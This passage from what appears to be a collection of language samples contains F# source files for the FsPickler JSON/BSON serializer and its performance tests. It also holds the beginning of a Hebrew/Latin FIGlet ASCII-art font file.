jsonReader.ReadPrimitiveAs<int64> (omitTag ()) tag |> int16\n            member __.ReadInt32 tag = jsonReader.ReadPrimitiveAs<int64> (omitTag ()) tag |> int\n            member __.ReadInt64 tag = jsonReader.ReadPrimitiveAs<int64> (omitTag ()) tag\n\n            member __.ReadUInt16 tag = jsonReader.ReadPrimitiveAs<int64> (omitTag ()) tag |> uint16\n            member __.ReadUInt32 tag = jsonReader.ReadPrimitiveAs<int64> (omitTag ()) tag |> uint32\n            member __.ReadUInt64 tag = jsonReader.ReadPrimitiveAs<int64> (omitTag ()) tag |> uint64\n\n            member __.ReadSingle tag =\n                if not <| omitTag () then\n                    jsonReader.ReadProperty tag\n                    jsonReader.MoveNext()\n\n                let value =\n                    match jsonReader.TokenType with\n                    | JsonToken.Float -> jsonReader.ValueAs<double> () |> single\n                    | JsonToken.String -> Single.Parse(jsonReader.ValueAs<string>(), CultureInfo.InvariantCulture)\n                    | _ -> raise <| new FormatException(\"not a float.\")\n\n                jsonReader.Read() |> ignore\n                value\n                \n            member __.ReadDouble tag =\n                if not <| omitTag () then\n                    jsonReader.ReadProperty tag\n                    jsonReader.MoveNext()\n\n                let value =\n                    match jsonReader.TokenType with\n                    | JsonToken.Float -> jsonReader.ValueAs<double> ()\n                    | JsonToken.String -> Double.Parse(jsonReader.ValueAs<string>(), CultureInfo.InvariantCulture)\n                    | _ -> raise <| new FormatException(\"not a float.\")\n\n                jsonReader.Read() |> ignore\n                value\n\n            member __.ReadChar tag = let value = jsonReader.ReadPrimitiveAs<string> (omitTag ()) tag in value.[0]\n            member __.ReadString tag = jsonReader.ReadPrimitiveAs<string> (omitTag ()) tag\n            member __.ReadBigInteger tag = jsonReader.ReadPrimitiveAs<string> (omitTag ()) tag |> BigInteger.Parse\n\n            member __.ReadGuid tag = \n                if isBsonReader then \n                    jsonReader.ReadPrimitiveAs<Guid> (omitTag ()) tag\n                else\n                    jsonReader.ReadPrimitiveAs<string> (omitTag ()) tag |> Guid.Parse\n\n            member __.ReadTimeSpan tag = jsonReader.ReadPrimitiveAs<string> (omitTag ()) tag |> TimeSpan.Parse\n            member __.ReadDecimal tag = jsonReader.ReadPrimitiveAs<string> (omitTag ()) tag |> decimal\n\n            // BSON spec mandates the use of Unix time; \n            // this has millisecond precision which results in loss of accuracy w.r.t. ticks\n            // since the goal of FsPickler is to offer faithful representations of .NET objects\n            // we choose to override the spec and serialize ticks outright.\n            // see also https://json.codeplex.com/discussions/212067 \n            member __.ReadDate tag = \n                if isBsonReader then\n                    let ticks = jsonReader.ReadPrimitiveAs<int64> (omitTag ()) tag\n                    DateTime(ticks)\n                else\n                    jsonReader.ReadPrimitiveAs<DateTime> (omitTag ()) tag\n\n            member __.ReadBytes tag =\n                if not <| omitTag () then\n                    jsonReader.ReadProperty tag\n                    jsonReader.Read() |> ignore\n\n                let bytes =\n                    if jsonReader.TokenType = JsonToken.Null then null\n                    elif isBsonReader then jsonReader.ValueAs<byte []> ()\n                    else\n                        let base64 = jsonReader.ValueAs<string> ()\n                        Convert.FromBase64String base64\n\n                jsonReader.Read() |> ignore\n\n                bytes\n\n            member __.IsPrimitiveArraySerializationSupported = false\n            member __.ReadPrimitiveArray _ _ = raise <| new NotImplementedException()\n\n            member __.Dispose () = (jsonReader :> IDisposable).Dispose()"
  },
  {
    "path": "samples/F#/JsonSerializer.fs",
    "content": "﻿namespace Nessos.FsPickler.Json\n\n    open System\n\n    open Nessos.FsPickler\n\n    type internal OAttribute = System.Runtime.InteropServices.OptionalAttribute\n    type internal DAttribute = System.Runtime.InteropServices.DefaultParameterValueAttribute\n\n    /// <summary>\n    ///     Json pickler instance.\n    /// </summary>\n    type JsonSerializer =\n        inherit FsPicklerTextSerializer\n        \n        val private format : JsonPickleFormatProvider\n\n        /// <summary>\n        ///     Initializes a new Json pickler instance.\n        /// </summary>\n        /// <param name=\"indent\">indent out Json pickles.</param>\n        /// <param name=\"omitHeader\">omit FsPickler header in Json pickles.</param>\n        /// <param name=\"typeConverter\">specify a custom type name converter.</param>\n        new ([<O;D(null)>] ?indent, [<O;D(null)>] ?omitHeader, [<O;D(null)>] ?typeConverter) =\n            let indent = defaultArg indent false\n            let omitHeader = defaultArg omitHeader false\n            let json = new JsonPickleFormatProvider(indent, omitHeader)\n            { \n                inherit FsPicklerTextSerializer(json, ?typeConverter = typeConverter)\n                format = json    \n            }\n\n        /// <summary>\n        ///     Gets or sets whether Json output should be indented.\n        /// </summary>\n        member x.Indent\n            with get () = x.format.Indent\n            and set b = x.format.Indent <- b\n\n        /// <summary>\n        ///     Gets or sets whether FsPickler headers should be ignored in pickle format.\n        /// </summary>\n        member x.OmitHeader\n            with get () = x.format.OmitHeader\n            and set b = x.format.OmitHeader <- b\n\n        /// <summary>\n        ///     Gets or sets a non-null whitespace string that serves as a custom, top-level sequence separator.\n        /// </summary>\n        member x.SequenceSeparator\n            with get () = x.format.SequenceSeparator\n            and set sep = x.format.SequenceSeparator <- sep\n\n        /// <summary>\n        ///     Gets or sets whether top-level sequences should be serialized using the custom separator.\n        /// </summary>\n        member x.UseCustomTopLevelSequenceSeparator\n            with get () = x.format.UseCustomTopLevelSequenceSeparator\n            and set e = x.format.UseCustomTopLevelSequenceSeparator <- e\n\n    /// <summary>\n    ///     BSON pickler instance.\n    /// </summary>\n    type BsonSerializer([<O;D(null)>] ?typeConverter) =\n        inherit FsPicklerSerializer(new BsonPickleFormatProvider(), ?typeConverter = typeConverter)\n\n\n    /// FsPickler static methods.\n    type FsPickler =\n\n        /// <summary>\n        ///     Initializes a new Json pickler instance.\n        /// </summary>\n        /// <param name=\"indent\">indent out Json pickles.</param>\n        /// <param name=\"omitHeader\">omit FsPickler header in Json pickles.</param>\n        /// <param name=\"typeConverter\">specify a custom type name converter.</param>\n        static member CreateJson([<O;D(null)>] ?indent, [<O;D(null)>] ?omitHeader, [<O;D(null)>] ?typeConverter) = \n            new JsonSerializer(?indent = indent, ?omitHeader = omitHeader, ?typeConverter = typeConverter)\n\n        /// <summary>\n        ///     Initializes a new Bson pickler instance.\n        /// </summary>\n        /// <param name=\"typeConverter\">specify a custom type name converter.</param>\n        static member CreateBson([<O;D(null)>] ?typeConverter) = \n            new BsonSerializer(?typeConverter = typeConverter)"
  },
  {
    "path": "samples/F#/JsonWriter.fs",
    "content": "﻿namespace Nessos.FsPickler.Json\n\n    open System\n    open System.IO\n    open System.Collections.Generic\n\n    open Newtonsoft.Json\n\n    open Nessos.FsPickler\n\n    /// <summary>\n    ///     Json format serializer.\n    /// </summary>\n    type internal JsonPickleWriter (jsonWriter : JsonWriter, omitHeader, indented, isTopLevelSequence, separator, leaveOpen) =\n\n        do \n            jsonWriter.Formatting <- if indented then Formatting.Indented else Formatting.None\n            jsonWriter.CloseOutput <- not leaveOpen\n\n        let isBsonWriter = match jsonWriter with :? Bson.BsonWriter -> true | _ -> false\n\n        let mutable depth = 0\n        let mutable isTopLevelSequenceHead = false\n        let mutable currentValueIsNull = false\n\n        let arrayStack = new Stack<int> ()\n        do arrayStack.Push Int32.MinValue\n\n        // do not write tag if omitting header or array element\n        let omitTag () = (omitHeader && depth = 0) || arrayStack.Peek() = depth - 1\n\n        interface IPickleFormatWriter with\n            \n            member __.BeginWriteRoot (tag : string) =\n                if omitHeader then () else\n\n                jsonWriter.WriteStartObject()\n                writePrimitive jsonWriter false \"FsPickler\" jsonFormatVersion\n                writePrimitive jsonWriter false \"type\" tag\n\n            member __.EndWriteRoot () = \n                if not omitHeader then jsonWriter.WriteEnd()\n\n            member __.BeginWriteObject (tag : string) (flags : ObjectFlags) =\n\n                if not <| omitTag () then\n                    jsonWriter.WritePropertyName tag\n\n                if flags.HasFlag ObjectFlags.IsNull then\n                    currentValueIsNull <- true\n                    jsonWriter.WriteNull()\n\n                elif flags.HasFlag ObjectFlags.IsSequenceHeader then\n                    if isTopLevelSequence && depth = 0 then\n                        isTopLevelSequenceHead <- true\n                    else\n                        jsonWriter.WriteStartArray()\n\n                    arrayStack.Push depth\n                    depth <- depth + 1\n                else\n                    jsonWriter.WriteStartObject()\n                    depth <- depth + 1\n\n                    if flags = ObjectFlags.None then ()\n                    else\n                        let flagCsv = mkFlagCsv flags\n                        writePrimitive jsonWriter false \"_flags\" flagCsv\n\n            member __.EndWriteObject () = \n                if currentValueIsNull then \n                    currentValueIsNull <- false\n                else\n                    depth <- depth - 1\n                    if arrayStack.Peek () = depth then\n                        if isTopLevelSequence && depth = 0 then ()\n                        else\n                            jsonWriter.WriteEndArray()\n\n                        arrayStack.Pop () |> ignore\n                    else\n                        jsonWriter.WriteEndObject()\n\n            member __.SerializeUnionCaseNames = true\n\n            member __.PreferLengthPrefixInSequences = false\n            member __.WriteNextSequenceElement hasNext =\n                if isTopLevelSequence && depth = 1 then\n                    if isTopLevelSequenceHead then\n                        isTopLevelSequenceHead <- false\n                    else\n                        jsonWriter.WriteWhitespace separator\n\n            member __.WriteCachedObjectId id = writePrimitive jsonWriter false \"id\" id\n\n            member __.WriteBoolean (tag : string) value = writePrimitive jsonWriter (omitTag ()) tag value\n            member __.WriteByte (tag : string) value = writePrimitive jsonWriter (omitTag ()) tag value\n            member __.WriteSByte (tag : string) value = writePrimitive jsonWriter (omitTag ()) tag value\n\n            member __.WriteInt16 (tag : string) value = writePrimitive jsonWriter (omitTag ()) tag value\n            member __.WriteInt32 (tag : string) value = writePrimitive jsonWriter (omitTag ()) tag value\n            member __.WriteInt64 (tag : string) value = writePrimitive jsonWriter (omitTag ()) tag value\n\n            member __.WriteUInt16 (tag : string) value = writePrimitive jsonWriter (omitTag ()) tag value\n            member __.WriteUInt32 (tag : string) value = writePrimitive jsonWriter (omitTag ()) tag value\n            member __.WriteUInt64 (tag : string) value = writePrimitive jsonWriter (omitTag ()) tag value\n\n            member __.WriteSingle (tag : string) value = writePrimitive jsonWriter (omitTag ()) tag value\n            member __.WriteDouble (tag : string) value = writePrimitive jsonWriter (omitTag ()) tag value\n            member __.WriteDecimal (tag : string) value = writePrimitive jsonWriter (omitTag ()) tag (string value)\n\n            member __.WriteChar (tag : string) value = writePrimitive jsonWriter (omitTag ()) tag value\n            member __.WriteString (tag : string) value = writePrimitive jsonWriter (omitTag ()) tag value\n            member __.WriteBigInteger (tag : string) value = writePrimitive jsonWriter (omitTag ()) tag (string value)\n\n            member __.WriteGuid (tag : string) value = writePrimitive jsonWriter (omitTag ()) tag value\n            member __.WriteTimeSpan (tag : string) value = writePrimitive jsonWriter (omitTag ()) tag (string value)\n\n            // BSON spec mandates the use of Unix time; \n            // this has millisecond precision which results in loss of accuracy w.r.t. ticks\n            // since the goal of FsPickler is to offer faithful representations of .NET objects\n            // we choose to override the spec and serialize ticks outright.\n            // see also https://json.codeplex.com/discussions/212067 \n            member __.WriteDate (tag : string) value = \n                if isBsonWriter then\n                    writePrimitive jsonWriter (omitTag ()) tag value.Ticks\n                else\n                    writePrimitive jsonWriter (omitTag ()) tag value\n\n            member __.WriteBytes (tag : string) (value : byte []) =\n                if not <| omitTag () then \n                    jsonWriter.WritePropertyName tag\n\n                if obj.ReferenceEquals(value, null) then\n                    jsonWriter.WriteNull()\n                else\n                    jsonWriter.WriteValue value\n\n            member __.IsPrimitiveArraySerializationSupported = false\n            member __.WritePrimitiveArray _ _ = raise <| NotSupportedException()\n\n            member __.Dispose () = jsonWriter.Flush()"
  },
  {
    "path": "samples/F#/PerformanceTesters.fs",
    "content": "﻿namespace Nessos.FsPickler.Tests\n\n    open PerfUtil\n    open PerfUtil.NUnit\n\n    open NUnit.Framework\n\n    open Nessos.FsPickler\n    open Nessos.FsPickler.Json\n\n    [<AbstractClass>]\n    type PerfTester () =\n        inherit NUnitPerf<Serializer> ()\n\n        let tests = PerfTest.OfModuleMarker<PerformanceTests.Marker> ()\n\n        override __.PerfTests = tests\n\n\n    type ``Serializer Comparison`` () =\n        inherit PerfTester()\n\n        let fsp = FsPickler.initBinary()\n        let bfs = new BinaryFormatterSerializer() :> Serializer\n        let ndc = new NetDataContractSerializer() :> Serializer\n        let jdn = new JsonDotNetSerializer() :> Serializer\n        let bdn = new JsonDotNetBsonSerializer () :> Serializer\n        let pbn = new ProtoBufSerializer() :> Serializer\n        let ssj = new ServiceStackJsonSerializer() :> Serializer\n        let sst = new ServiceStackTypeSerializer() :> Serializer\n\n        let comparer = new WeightedComparer(spaceFactor = 0.2, leastAcceptableImprovementFactor = 1.)\n        let tester = new ImplementationComparer<_>(fsp, [bfs;ndc;jdn;bdn;pbn;ssj;sst], throwOnError = true, warmup = true, comparer = comparer)\n\n        override __.PerfTester = tester :> _\n        \n\n    type ``FsPickler Formats Comparison`` () =\n        inherit PerfTester ()\n\n        let binary = FsPickler.initBinary()\n        let json = FsPickler.initJson()\n        let bson = FsPickler.initBson()\n        let xml = FsPickler.initXml()\n\n        let tester = new ImplementationComparer<_>(binary, [json ; bson; xml], warmup = true, throwOnError = false)\n\n        override __.PerfTester = tester :> _\n\n\n    type ``Past FsPickler Versions Comparison`` () =\n        inherit PerfTester ()\n\n        let persistResults = true\n        let persistenceFile = \"fspPerf.xml\"\n\n        let fsp = FsPickler.initBinary()\n        let version = typeof<FsPickler>.Assembly.GetName().Version\n        let comparer = new WeightedComparer(spaceFactor = 0.2, leastAcceptableImprovementFactor = 0.8)\n        let tester = \n            new PastImplementationComparer<Serializer>(\n                fsp, version, historyFile = persistenceFile, throwOnError = true, warmup = true, comparer = comparer)\n\n        override __.PerfTester = tester :> _\n\n        [<TestFixtureTearDown>]\n        member __.Persist() =\n            if persistResults then tester.PersistCurrentResults ()"
  },
  {
    "path": "samples/F#/PerformanceTests.fs",
    "content": "﻿namespace Nessos.FsPickler.Tests\n\n    open System\n    open System.Collections.Generic\n\n    open PerfUtil\n\n    open Nessos.FsPickler\n    open Nessos.FsPickler.Tests.Serializer\n    open Nessos.FsPickler.Tests.TestTypes\n\n    module PerformanceTests =\n\n        type Marker = class end\n\n        let guid = Guid.NewGuid()\n\n        [<PerfTest(1000)>]\n        let ``Value: Guid`` s = roundtrip guid s\n\n        let date = DateTime.Now\n\n        [<PerfTest(1000)>]\n        let ``Value: DateTime`` s = roundtrip date s\n\n        [<PerfTest(10000)>]\n        let ``Value: String`` s = roundtrip stringValue s\n\n\n        let boxed = box ([| 1 .. 1000 |], \"lorem ipsum\")\n\n        [<PerfTest(1000)>]\n        let ``Boxed Object`` s = roundtrip boxed s\n\n        let fsClass = new Class(42, stringValue)\n\n        [<PerfTest(10000)>]\n        let ``Class: Simple F# Class`` s = roundtrip fsClass s\n\n        let serializableClass = new SerializableClass<_>(42, stringValue, [|1..1000|])\n\n        [<PerfTest(10000)>]\n        let ``Class: ISerializable`` s = roundtrip serializableClass s\n\n        let boxedClass = box(Some 42)\n\n        [<PerfTest(10000)>]\n        let ``Subtype Resolution`` s = roundtrip boxedClass s\n\n        let floatArray = Array.init 100000 (fun i -> float i)\n\n        [<PerfTest(10)>]\n        let ``Array: Float`` s = roundtrip floatArray s\n\n        let intArray = Array.init 100000 id\n\n        [<PerfTest(10)>]\n        let ``Array: Int`` s = roundtrip intArray s\n\n        let stringArray = Array.init 10000 (fun i -> stringValue + string i)\n        \n        [<PerfTest(100)>]\n        let ``Array: String`` s = roundtrip stringArray s\n\n        let kvarr = [|1..10000|] |> Array.map (fun i -> i, string i)\n\n        [<PerfTest(100)>]\n        let ``Array: Key-Value Pairs`` s = roundtrip kvarr s\n\n        let duArray = [| for i in 1 .. 10000 -> (Something (\"asdasdasdas\", i)) |]\n\n        [<PerfTest(100)>]\n        let ``Array: Discriminated Unions`` s = roundtrip duArray s\n\n        let objArray = \n            [| \n                box 2; box 3; box \"hello\" ; box <| Some 3; box(2,3) ; \n                box <| new Class(2, stringValue) ; box <| new SerializableClass<int option>(2, stringValue, Some 12); \n                box stringValue \n            |]\n\n        [<PerfTest(1000)>]\n        let ``Array: Objects`` s = roundtrip objArray s\n\n\n        let array3D = Array3D.init 100 100 100 (fun i j k -> float (i * j + k))\n\n        [<PerfTest(10)>]\n        let ``Array: Rank-3 Float`` s = roundtrip array3D s\n\n        let bclDict = dict [ for i in 1 .. 1000 -> (string i, i)]\n\n        [<PerfTest(100)>]\n        let ``.NET Dictionary`` s = roundtrip bclDict s\n\n        let bclStack = new Stack<string>([for i in 1 .. 1000 -> string i])\n\n        [<PerfTest(100)>]\n        let ``.NET Stack`` s = roundtrip bclStack s\n\n        let bclList = new List<string * int>([for i in 1 .. 1000 -> string i, i])\n\n        [<PerfTest(100)>]\n        let ``.NET List`` s = roundtrip bclList s\n\n        let bclSet = new SortedSet<_>([for i in 1 .. 1000 -> string i])\n\n        [<PerfTest(100)>]\n        let ``.NET Set`` s = roundtrip bclSet s\n\n        let smallTuple = (1, DateTime.Now,\"hello\")\n\n        [<PerfTest(10000)>]\n        let ``FSharp: Tuple Small`` s = roundtrip smallTuple s\n\n        let largeTuple = (stringValue, 1, 2, 3, true, \"\", Some(3.14, [2]), 3, 2, 1, stringValue)\n\n        [<PerfTest(10000)>]\n        let ``FSharp: Tuple Large`` s =\n            roundtrip largeTuple s\n\n        let intList = [1..1000]\n\n        [<PerfTest(1000)>]\n        let ``FSharp: List Int`` s = roundtrip intList s\n\n        let stringList = [ for i in 1 .. 1000 -> stringValue + string i ]\n\n        [<PerfTest(1000)>]\n        let ``FSharp: List String`` s = roundtrip stringList s\n\n        let pairList = [ for i in 1 .. 1000 -> (string i, i) ]\n\n        [<PerfTest(1000)>]\n        let ``FSharp: List Key-Value`` s = roundtrip pairList s\n\n        let nestedLst = let n = [1..1000] in [for _ in 1 .. 100 -> n]\n\n        [<PerfTest(1000)>]\n        let ``FSharp: List Nested`` s = roundtrip nestedLst s\n\n        let union = SomethingElse(stringValue, 42, box (Some 42))\n\n        [<PerfTest(10000)>]\n        let ``FSharp: Union`` s = roundtrip union s\n\n        let record = { Int = 42 ; String = stringValue ; Tuple = (13, \"\") }\n\n        [<PerfTest(10000)>]\n        let ``FSharp: Record`` s = roundtrip record s\n\n        let peano = int2Peano 100\n\n        [<PerfTest(100)>]\n        let ``FSharp: Peano Rectype`` s = roundtrip peano s\n\n        let closure = (@) [ Some([1..100], Set.ofList [1..100]) ]\n\n        [<PerfTest(1000)>]\n        let ``FSharp: Curried Function`` s = roundtrip closure s\n\n        let binTree = mkTree 10\n\n        [<PerfTest(100)>]\n        let ``FSharp: Binary Tree`` s = roundtrip binTree s\n\n        let intSet = [1..1000] |> List.map string |> set\n\n        [<PerfTest(1000)>]\n        let ``FSharp: Set`` s = roundtrip intSet s\n\n        let fsMap = [1..1000] |> Seq.map (fun i -> (string i,i)) |> Map.ofSeq\n\n        [<PerfTest(1000)>]\n        let ``FSharp: Map`` s = roundtrip fsMap s\n\n        let testType = typeof<int * string option * Map<int * string [], string ref option>>\n\n        [<PerfTest(1000)>]\n        let ``Reflection: Type`` s = roundtrip testType s\n\n        let quotationSmall = <@ fun x -> pown 2 x @>\n\n        let quotationLarge =\n            <@\n                async {\n                    let rec fibAsync n =\n                        async {\n                            match n with\n                            | _ when n < 0 -> return invalidArg \"negative\" \"n\"\n                            | _ when n < 2 -> return n\n                            | n ->\n                                let! fn = fibAsync (n-1)\n                                let! fnn = fibAsync (n-2)\n                                return fn + fnn\n                        }\n\n                    let! values = [1..100] |> Seq.map fibAsync |> Async.Parallel\n                    return Seq.sum values\n                }\n            @>\n\n        [<PerfTest(10000)>]\n        let ``FSharp: Quotation Small`` s = roundtrip quotationSmall s\n\n        [<PerfTest(1000)>]\n        let ``FSharp: Quotation Large`` s = roundtrip quotationLarge s"
  },
  {
    "path": "samples/F#/sample.fs",
    "content": "module Sample\n\nopen System\n\ntype Foo =\n    {\n        Bar : string\n    }\n\ntype Baz = interface end\n\nlet Sample1(xs : int list) : string =\n    xs\n    |> List.map (fun x -> string x)\n    |> String.concat \",\"\n"
  },
  {
    "path": "samples/FIGlet Font/ivrit.flf",
    "content": "flf2a$ 6 5 76 15 14 1 16271 39\nIvrit (Hebrew) Unicode font assembled by John Cowan <cowan@ccil.org>\nLatin chars from  Standard by G. Chappell & Ian Chai\nHebrew chars from Jerusalem by Gedaliah Friedenberg <gfrieden@nyx.cs.du.edu>\n        Use \"ilhebrew.flc\" for Hebrew keyboard mapping\n        Use \"ushebrew.flc\" for U.S.-style keyboard mapping (\"febrew\" script)\n        Use \"8859-8.flc\" for ISO 8859-8 text\n        Or use UTF-8\nWARNING! FIGfonts aren't bidirectional; this is strictly right-to-left \n        (by default) even for the Latin characters.\nfiglet release 2.2 -- November 1996\n\nModified by Paul Burton <solution@earthlink.net> 12/96 to include new parameter\nsupported by FIGlet and FIGWin.  May also be slightly modified for better use\nof new full-width/kern/smush alternatives, but default output is NOT changed.\n $@\n $@\n $@\n $@\n $@\n $@@\n  _ @\n | |@\n | |@\n |_|@\n (_)@\n    @@\n  _ _ @\n ( | )@\n  V V @\n   $  @\n   $  @\n      @@\n    _  _   @\n  _| || |_ @\n |_  ..  _|@\n |_      _|@\n   |_||_|  @\n           @@\n   _  @\n  | | @\n / __)@\n \\__ \\@\n (   /@\n  |_| @@\n  _  __@\n (_)/ /@\n   / / @\n  / /_ @\n /_/(_)@\n       @@\n   ___   @\n  ( _ )  @\n  / _ \\/\\@\n | (_>  <@\n  \\___/\\/@\n         @@\n  _ @\n ( )@\n |/ @\n  $ @\n  $ @\n    @@\n   __@\n  / /@\n | | @\n | | @\n | | @\n  \\_\\@@\n __  @\n \\ \\ @\n  | |@\n  | |@\n  | |@\n /_/ @@\n       @\n __/\\__@\n \\    /@\n /_  _\\@\n   \\/  @\n       @@\n        @\n    _   @\n  _| |_ @\n |_   _|@\n   |_|  @\n        @@\n    @\n    @\n    @\n  _ @\n ( )@\n |/ @@\n        @\n        @\n  _____ @\n |_____|@\n    $   @\n        @@\n    @\n    @\n    @\n  _ @\n (_)@\n    @@\n     __@\n    / /@\n   / / @\n  / /  @\n /_/   @\n       @@\n   ___  @\n  / _ \\ @\n | | | |@\n | |_| |@\n  \\___/ @\n        @@\n  _ @\n / |@\n | |@\n | |@\n |_|@\n    @@\n  ____  @\n |___ \\ @\n   __) |@\n  / __/ @\n |_____|@\n        @@\n  _____ @\n |___ / @\n   |_ \\ @\n  ___) |@\n |____/ @\n        @@\n  _  _   @\n | || |  @\n | || |_ @\n |__   _|@\n    |_|  @\n         @@\n  ____  @\n | ___| @\n |___ \\ @\n  ___) |@\n |____/ @\n        @@\n   __   @\n  / /_  @\n | '_ \\ @\n | (_) |@\n  \\___/ @\n        @@\n  _____ @\n |___  |@\n    / / @\n   / /  @\n  /_/   @\n        @@\n   ___  @\n  ( _ ) @\n  / _ \\ @\n | (_) |@\n  \\___/ @\n        @@\n   ___  @\n  / _ \\ @\n | (_) |@\n  \\__, |@\n    /_/ @\n        @@\n    @\n  _ @\n (_)@\n  _ @\n (_)@\n    @@\n    @\n  _ @\n (_)@\n  _ @\n ( )@\n |/ @@\n   __@\n  / /@\n / / @\n \\ \\ @\n  \\_\\@\n     @@\n        @\n  _____ @\n |_____|@\n |_____|@\n    $   @\n        @@\n __  @\n \\ \\ @\n  \\ \\@\n  / /@\n /_/ @\n     @@\n  ___ @\n |__ \\@\n   / /@\n  |_| @\n  (_) @\n      @@\n    ____  @\n   / __ \\ @\n  / / _` |@\n | | (_| |@\n  \\ \\__,_|@\n   \\____/ @@\n     _    @\n    / \\   @\n   / _ \\  @\n  / ___ \\ @\n /_/   \\_\\@\n          @@\n  ____  @\n | __ ) @\n |  _ \\ @\n | |_) |@\n |____/ @\n        @@\n   ____ @\n  / ___|@\n | |    @\n | |___ @\n  \\____|@\n        @@\n  ____  @\n |  _ \\ @\n | | | |@\n | |_| |@\n |____/ @\n        @@\n  _____ @\n | ____|@\n |  _|  @\n | |___ @\n |_____|@\n        @@\n  _____ @\n |  ___|@\n | |_   @\n |  _|  @\n |_|    @\n        @@\n   ____ @\n  / ___|@\n | |  _ @\n | |_| |@\n  \\____|@\n        @@\n  _   _ @\n | | | |@\n | |_| |@\n |  _  |@\n |_| |_|@\n        @@\n  ___ @\n |_ _|@\n  | | @\n  | | @\n |___|@\n      @@\n      _ @\n     | |@\n  _  | |@\n | |_| |@\n  \\___/ @\n        @@\n  _  __@\n | |/ /@\n | ' / @\n | . \\ @\n |_|\\_\\@\n       @@\n  _     @\n | |    @\n | |    @\n | |___ @\n |_____|@\n        @@\n  __  __ @\n |  \\/  |@\n | |\\/| |@\n | |  | |@\n |_|  |_|@\n         @@\n  _   _ @\n | \\ | |@\n |  \\| |@\n | |\\  |@\n |_| \\_|@\n        @@\n   ___  @\n  / _ \\ @\n | | | |@\n | |_| |@\n  \\___/ @\n        @@\n  ____  @\n |  _ \\ @\n | |_) |@\n |  __/ @\n |_|    @\n        @@\n   ___  @\n  / _ \\ @\n | | | |@\n | |_| |@\n  \\__\\_\\@\n        @@\n  ____  @\n |  _ \\ @\n | |_) |@\n |  _ < @\n |_| \\_\\@\n        @@\n  ____  @\n / ___| @\n \\___ \\ @\n  ___) |@\n |____/ @\n        @@\n  _____ @\n |_   _|@\n   | |  @\n   | |  @\n   |_|  @\n        @@\n  _   _ @\n | | | |@\n | | | |@\n | |_| |@\n  \\___/ @\n        @@\n __     __@\n \\ \\   / /@\n  \\ \\ / / @\n   \\ V /  @\n    \\_/   @\n          @@\n __        __@\n \\ \\      / /@\n  \\ \\ /\\ / / @\n   \\ V  V /  @\n    \\_/\\_/   @\n             @@\n __  __@\n \\ \\/ /@\n  \\  / @\n  /  \\ @\n /_/\\_\\@\n       @@\n __   __@\n \\ \\ / /@\n  \\ V / @\n   | |  @\n   |_|  @\n        @@\n  _____@\n |__  /@\n   / / @\n  / /_ @\n /____|@\n       @@\n  __ @\n | _|@\n | | @\n | | @\n | | @\n |__|@@\n __    @\n \\ \\   @\n  \\ \\  @\n   \\ \\ @\n    \\_\\@\n       @@\n  __ @\n |_ |@\n  | |@\n  | |@\n  | |@\n |__|@@\n  /\\ @\n |/\\|@\n   $ @\n   $ @\n   $ @\n     @@\n        @\n        @\n        @\n        @\n  _____ @\n |_____|@@\n  _ @\n ( )@\n  \\|@\n  $ @\n  $ @\n    @@\n        @\n   __ _ @\n  / _` |@\n | (_| |@\n  \\__,_|@\n        @@\n  _     @\n | |__  @\n | '_ \\ @\n | |_) |@\n |_.__/ @\n        @@\n       @\n   ___ @\n  / __|@\n | (__ @\n  \\___|@\n       @@\n      _ @\n   __| |@\n  / _` |@\n | (_| |@\n  \\__,_|@\n        @@\n       @\n   ___ @\n  / _ \\@\n |  __/@\n  \\___|@\n       @@\n   __ @\n  / _|@\n | |_ @\n |  _|@\n |_|  @\n      @@\n        @\n   __ _ @\n  / _` |@\n | (_| |@\n  \\__, |@\n  |___/ @@\n  _     @\n | |__  @\n | '_ \\ @\n | | | |@\n |_| |_|@\n        @@\n  _ @\n (_)@\n | |@\n | |@\n |_|@\n    @@\n    _ @\n   (_)@\n   | |@\n   | |@\n  _/ |@\n |__/ @@\n  _    @\n | | __@\n | |/ /@\n |   < @\n |_|\\_\\@\n       @@\n  _ @\n | |@\n | |@\n | |@\n |_|@\n    @@\n            @\n  _ __ ___  @\n | '_ ` _ \\ @\n | | | | | |@\n |_| |_| |_|@\n            @@\n        @\n  _ __  @\n | '_ \\ @\n | | | |@\n |_| |_|@\n        @@\n        @\n   ___  @\n  / _ \\ @\n | (_) |@\n  \\___/ @\n        @@\n        @\n  _ __  @\n | '_ \\ @\n | |_) |@\n | .__/ @\n |_|    @@\n        @\n   __ _ @\n  / _` |@\n | (_| |@\n  \\__, |@\n     |_|@@\n       @\n  _ __ @\n | '__|@\n | |   @\n |_|   @\n       @@\n      @\n  ___ @\n / __|@\n \\__ \\@\n |___/@\n      @@\n  _   @\n | |_ @\n | __|@\n | |_ @\n  \\__|@\n      @@\n        @\n  _   _ @\n | | | |@\n | |_| |@\n  \\__,_|@\n        @@\n        @\n __   __@\n \\ \\ / /@\n  \\ V / @\n   \\_/  @\n        @@\n           @\n __      __@\n \\ \\ /\\ / /@\n  \\ V  V / @\n   \\_/\\_/  @\n           @@\n       @\n __  __@\n \\ \\/ /@\n  >  < @\n /_/\\_\\@\n       @@\n        @\n  _   _ @\n | | | |@\n | |_| |@\n  \\__, |@\n  |___/ @@\n      @\n  ____@\n |_  /@\n  / / @\n /___|@\n      @@\n    __@\n   / /@\n  | | @\n < <  @\n  | | @\n   \\_\\@@\n  _ @\n | |@\n | |@\n | |@\n | |@\n |_|@@\n __   @\n \\ \\  @\n  | | @\n   > >@\n  | | @\n /_/  @@\n  /\\/|@\n |/\\/ @\n   $  @\n   $  @\n   $  @\n      @@\n  _   _ @\n (_)_(_)@\n   /_\\  @\n  / _ \\ @\n /_/ \\_\\@\n        @@\n  _   _ @\n (_)_(_)@\n  / _ \\ @\n | |_| |@\n  \\___/ @\n        @@\n  _   _ @\n (_) (_)@\n | | | |@\n | |_| |@\n  \\___/ @\n        @@\n  _   _ @\n (_)_(_)@\n  / _` |@\n | (_| |@\n  \\__,_|@\n        @@\n  _   _ @\n (_)_(_)@\n  / _ \\ @\n | (_) |@\n  \\___/ @\n        @@\n  _   _ @\n (_) (_)@\n | | | |@\n | |_| |@\n  \\__,_|@\n        @@\n   ___ @\n  / _ \\@\n | |/ /@\n | |\\ \\@\n | ||_/@\n |_|   @@\n160  NO-BREAK SPACE\n $@\n $@\n $@\n $@\n $@\n $@@\n173  SOFT HYPHEN\n        @\n        @\n  _____ @\n |_____|@\n    $   @\n        @@\n196  LATIN CAPITAL LETTER A WITH DIAERESIS\n  _   _ @\n (_)_(_)@\n   /_\\  @\n  / _ \\ @\n /_/ \\_\\@\n        @@\n214  LATIN CAPITAL LETTER O WITH DIAERESIS\n  _   _ @\n (_)_(_)@\n  / _ \\ 